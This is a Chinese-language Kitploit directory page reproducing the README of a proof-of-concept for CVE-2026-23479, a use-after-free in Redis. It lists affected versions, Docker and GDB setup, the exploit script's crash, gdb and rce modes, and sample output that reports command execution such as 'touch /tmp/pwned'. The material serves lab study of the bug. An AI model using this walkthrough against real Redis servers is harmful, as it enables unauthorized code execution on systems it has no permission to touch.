Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — 借助 GDB 辅助漏洞利用的概念验证(仅供教育/实验室使用) | Kitploit
工具/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
漏洞分析漏洞利用调试器学习与教育数据库安全二进制利用实验室与实践
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

借助 GDB 辅助漏洞利用的概念验证(仅供教育/实验室使用)

查看仓库
17天前尚未审核

🔥 CVE-2026-23479 – Redis UAF 概念验证(PoC)

License Python Docker CVE PoC

Redis unblockClientOnKey() 中的释放后使用(UAF)漏洞,可导致远程代码执行
附带 GDB 辅助利用的概念验证(仅限教育/实验室用途)


📖 概述

CVE-2026-23479 是 Redis 7.2.0 至 8.6.2 版本中的一个严重释放后使用(UAF)漏洞。
该漏洞位于 unblockClientOnKey() 中,该函数调用了 processCommandAndResetClient(),但
未检查其返回值
。
如果在调用过程中客户端被释放(例如因淘汰机制),调用方将继续操作悬空指针 → UAF。
攻击者若能在释放后塑造堆内存布局,则可能实现任意代码执行。

本仓库提供了一个 GDB 辅助的 PoC,能够:

  • 触发精确的漏洞代码路径
  • 通过故意引发崩溃(freeClient() 调用)证明 UAF
  • 通过在同一位置注入 system() 调用来演示任意命令执行

⚠️ 重要提示: 这不是武器化的漏洞利用。它使用特权 Docker 容器内的 GDB 来模拟真实攻击者在成功利用 UAF 后可能达成的效果。
请仅在您自己的实验环境或已获得明确测试授权的系统上使用。


✨ 功能特性

  • 🧪 四种操作模式 – crash、gdb、rce、full
  • 🐳 基于 Docker – 无需在宿主机上安装存在漏洞的 Redis
  • 🔍 自动版本检测 – 检查目标是否在受影响范围内
  • 🧹 自动清理 – 每次运行前终止过期的 GDB 会话
  • 🎯 灵活的容器名称 – 通过 --container 指定任意容器
  • 📦 单个 Python 文件 – 除标准库外零依赖

🧠 工作原理

  1. 阻塞受害者 – 通过 XREAD BLOCK 命令使客户端等待流数据。
  2. 附加 GDB – GDB 附加到容器内的 Redis 进程(pid 1)。
  3. 在 processCommandAndResetClient 上设置断点 – 该函数在阻塞客户端被重新处理时被调用。
  4. 触发解除阻塞 – 对同一流执行 XADD 唤醒受害者。
  5. 断点命中后:
    • gdb 模式: 调用 freeClient($rdi) → 故意触发 SIGSEGV → 证明 UAF。
    • rce 模式: 调用 system("your command") → 以 Redis 用户(默认为 root)身份执行任意 shell 命令。
  6. 验证 – 脚本检查预期的证明文件是否存在(RCE)或 Redis 是否崩溃(UAF)。

断点会在每次阻塞客户端被解除阻塞时触发,表明包含 UAF 的同一代码路径同样允许代码执行。


📋 受影响版本

分支受影响范围
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.6

脚本会自动解析 Redis 版本并报告目标是否存在漏洞。


🐳 前置条件

  • 已安装并正在运行的 Docker
  • Python 3.8+(仅使用标准库)
  • 使用 apt 的 Redis 8.6.2 Docker 镜像(例如官方 redis:8.6.2)
  • 容器必须使用 --privileged 参数创建(ptrace 所需)

⚙️ 安装设置

1. 克隆仓库

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. 启动存在漏洞的 Redis 容器

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. 在容器内安装 GDB

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. 验证

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 使用方法

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

模式


选项


📚 分步示例

注意: 所有命令均在宿主机上运行,而非在 Docker 容器内部。

1. 通过 GDB 证明 UAF

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

预期输出(节选)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis 将在段错误后崩溃。

重启容器:

root@kitploit:~
docker start redis-vuln-local

2. 实现远程代码执行(RCE)

重启 Redis 以确保环境干净:

root@kitploit:~
docker restart redis-vuln-local

运行漏洞利用脚本:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

验证证明文件:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

如果成功,该文件将存在,从而证明:

root@kitploit:~
system("touch /tmp/pwned");

已在 Redis 容器内被执行。


3. 不使用 GDB 触发 UAF(内存压力)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

如果 Redis 意外退出(容器不再运行),则很可能已触发 UAF。

使用以下命令重启:

root@kitploit:~
docker start redis-vuln-local

4. 运行完整测试

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

此模式将:

  1. 尝试通过内存压力触发崩溃。
  2. 如果 Redis 存活,则回退到 GDB 辅助方法。

📸 示例输出(RCE 模式)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 对原始脚本的修改

原始 PoC 硬编码了名为 env-redis-vuln-1 的容器,并且在较新的 Python 版本下运行存在若干问题。

更新后的版本引入了以下改进:


🧹 清理

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ 免责声明

本工具仅用于教育目的、经授权的安全研究,以及测试您自己拥有或已获得明确评估许可的系统。

作者不纵容或鼓励未经授权或恶意的使用。

在测试任何生产或第三方系统之前,请务必获得适当授权。


📚 参考资料

  • CVE-2026-23479 – NVD 详情
  • Redis 安全公告
  • Redis GitHub 仓库

为安全社区倾心制作 ❤️

恪守道德。注意安全。

下载工具
8.6.0 – 8.6.2
模式描述
crash尝试通过内存压力触发 UAF(无需 GDB)。Redis 可能会崩溃,但不保证。
gdb附加 GDB 并在断点处调用 freeClient() → 强制触发 SIGSEGV(证明 UAF)。
rce附加 GDB 并在断点处调用 system(cmd) → 在容器内执行 shell 命令。
full先运行 crash;如果 Redis 未崩溃,则回退到 gdb。
参数默认值描述
target(必填)Redis 服务器的 IP 地址
-p, --port6379Redis 端口
-m, --modefullcrash、gdb、rce、full 之一
--containerenv-redis-vuln-1Docker 容器名称
--cmdid > /tmp/pwned_by_cve在 rce 模式下执行的命令
问题修复
硬编码的容器名称新增 --container 参数,并在所有函数中传递使用。
file 命令位于 GDB 脚本的 commands 块内将 file /usr/local/bin/redis-server 移动到 attach 之前,以便 GDB 正确加载符号。
subprocess.run() 同时使用 capture_output=True 和 stderr=...替换为 stdout=subprocess.DEVNULL 和 stderr=subprocess.DEVNULL。
过期的 GDB 进程导致 ptrace: Operation not permitted在 trigger_uaf_gdb() 和 trigger_rce() 中启动 GDB 前新增 pkill -9 gdb。
GDB 静默失败时无任何反馈新增 GDB 输出的调试日志,并改进了证明文件的检测。